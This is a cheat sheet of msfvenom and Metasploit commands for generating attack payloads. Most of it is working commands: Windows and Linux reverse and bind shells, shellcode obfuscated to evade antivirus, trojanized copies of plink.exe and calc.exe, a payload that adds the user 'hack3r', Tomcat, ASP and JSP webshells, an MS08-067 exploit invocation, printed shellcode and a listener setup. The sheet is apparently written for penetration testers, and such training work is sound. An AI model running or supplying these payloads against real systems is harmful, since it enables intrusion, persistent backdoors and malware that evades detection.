Extensive list of msfvenom payloads cheat sheet for Metasploit

General commands with Msfvenom

List all payloads types (around 562 types):

msfvenom -l payloads

Show only Windows x64 payloads:

msfvenom -l payloads --platform windows --arch x64

Shows output formats (asp, exe, php, powershell, js_le, csharp, …):

msfvenom --list formats

Difference between staged and non-staged payloads

In msfvenom we can choose between staged and non-staged payloads, but what are they?

Non-staged payloads are standalone payloads, that means the whole payload is sent at once to the target. Advantage: Less communications so it is better to avoid detection.

Staged payloads are sent in two stages: The first one it loads a dropper, and the second stage it loads the payload. The advantages are: 1) If the buffer overflow it’s too small to hold a non-staged payload, split it in two will help. 2) Having several parts it is also better for host anti-virus detection.

Payloads generation with Msfvenom

Windows binary payloads

Generate C code for a Windows target with a TCP reverse shell connecting back to host $LOCALIP:443 (non-staged payload):

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=443 -f c

Generate C code for a Windows target with a TCP reverse shell connecting back to host $LOCALIP:443 (staged payload):

msfvenom -p windows/shell/reverse_tcp LHOST=$LOCALIP LPORT=443 -f c

Generate C code for TCP reverse shell to host $LOCALIP:443 obfuscating the payload and avoiding bad chars \x00\x0a\x0d in the shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

Generate C code for reverse shell to host $LOCALIP:443 (TCP) obfuscating the payload and avoiding bad chars \x00\x0a\x0d in the shellcode and spawning the shellcode in a different threat to not crash the main process:

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

Generate JavaScript payload to execute a staged reverse shell against host $LOCALIP on port 443:

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=443 -f js_le -e generic/none

Generate a Windows EXE with a shellcode executing a reverse shell against host $LOCALIP on port 4444 (TCP). The output will be written in file shell_reverse.exe:

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o shell_reverse.exe

Generate a Windows EXE with a shellcode executing a reverse shell against host $LOCALIP on port 4444 (TCP). The output will be written in file shell_reverse_msf_encoded.exe. Obfuscate the shellcode doing 9 rounds of obfuscation.

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

Trojanize file plink.exe to execute a reverse shell against host $LOCALIP:4444 (TCP) using 9 rounds of obfuscation and write the output EXE in file shell_reverse_msf_encoded_embedded.exe:

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

Generate an EXE file called met_https_reverse.exe to execute a reverse shell through https (port 443) on host $LOCALIP to connect to a listening meterpreter session:

msfvenom -p windows/meterpreter/reverse_https LHOST=$LOCALIP LPORT=443 -f exe -o met_https_reverse.exe

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o shell_reverse.exe

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

msfvenom -p windows/meterpreter/reverse_http LHOST=$LOCALIP LPORT=80 -f exe -e x86/shikata_ga_nai -x /usr/share/windows-binaries/plink.exe -o /var/www/daaa118.exe

Trojanize calc.exe to execute a meterpreter reverse shell against host $LOCALIP saved in file calc_2.exe:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP -f exe -k -x calc.exe -o calc_2.exe

Generate file meterpreter.exe cointaining a reverse shell against host $LOCALIP on port TCP/443:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=443 -f exe -o meterpreter.exe

Warning: When using -x parameter, the executable must not be UPX compressed

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=443 -f exe -x /usr/share/windows-binaries/plink.exe -e x86/shikata_ga_nai -o plink-meterpreter.exe

Exploit MS08–067 (NetAPI vulnerability) on host $IP and execute a bindshell after exploitation:

msfcli windows/smb/ms08_067_netapi RHOST=$IP PAYLOAD=windows/shell/bind_tcp E

Generate a python payload to execute calc.exe omitting characters \x00 (NULL byte):

msfvenom -p windows/exec CMD=calc.exe -b "x00" -f py

Create account.exe file 20 rounds of obfuscation that contains a payload that will create the user hack3r with password s3cret^s3cret:

msfvenom -p windows/adduser -f exe -o account.exe USER=hack3r PASS=s3cret^s3cret -e x86/shikata_ga_nai -i 20

Trojanized DLL calc.dll to execute calc.exe:

msfvenom -p windows/exec CMD=calc.exe -f dll -o calc.dll

Trojanize Windows Service with 20 rounds of obfuscation to create a new user hack3r with password s3cret^s3cret:

msfvenom -p windows/exec CMD=calc.exe -f exe-service
msfvenom -p windows/adduser -f exe-service -o service.exe USER=hack3r PASS=s3cret^s3cret -e x86/shikata_ga_nai -i 20

Linux binary payloads

Generate C code for a bindshell for a Linux target on port TCP/4444 avoiding bad chars \x00\x0a\0d\x20 and obfuscating the shellcode:

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai

Staged ELF shared library (.so) payload with a reverse shell:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=$LOCALIP LPORT=443 -o staged.out -f elf-so

Non-staged ELF shared library (.so) payload with a reverse shell:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=$LOCALIP LPORT=443 -o non-staged.out -f elf-so

Get shellcode assembler code:

msfvenom -p linux/x86/exec cmd=whoami R | ndisasm -u -

Payload size: 42 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80

Get assembler in friendly format to embedded in a python/perl exploit:

msfvenom -p linux/x86/exec cmd=whoami R | hexdump -v -e '"\\\x" 1/1 "%02x"'

Payload size: 42 bytes

\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7
\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89
\xe3\x52\xe8\x07\x00\x00\x00\x77\x68\x6f\x61
\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80

Webshells generation with Msfvenom

Tomcat webshell with a meterpreter reverse shell:

msfvenom -p java/meterpreter/reverse_tcp -f war -o tomcatapp.war LHOST=$LOCALIP

Tomcat webshell with a standalone reverse shell against host $LOCALIP on port 442:

msfvenom -p java/shell_reverse_tcp -f war -o tomcatapp2.war LHOST=$LOCALIP LPORT=442

ASP webshell on Windows:

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=443 -f asp -o webshell_reverse_msfvenom.txt

JSP webshell on Linux:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=$LOCALIP LPORT=443 -o test.jsp -f jsp

-v payload: specifies the payload name!! Very useful when replacing existing payloads in existent exploits

Using Metasploit and wait for a reverse shell

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 443
set LHOST $LOCALIP
exploit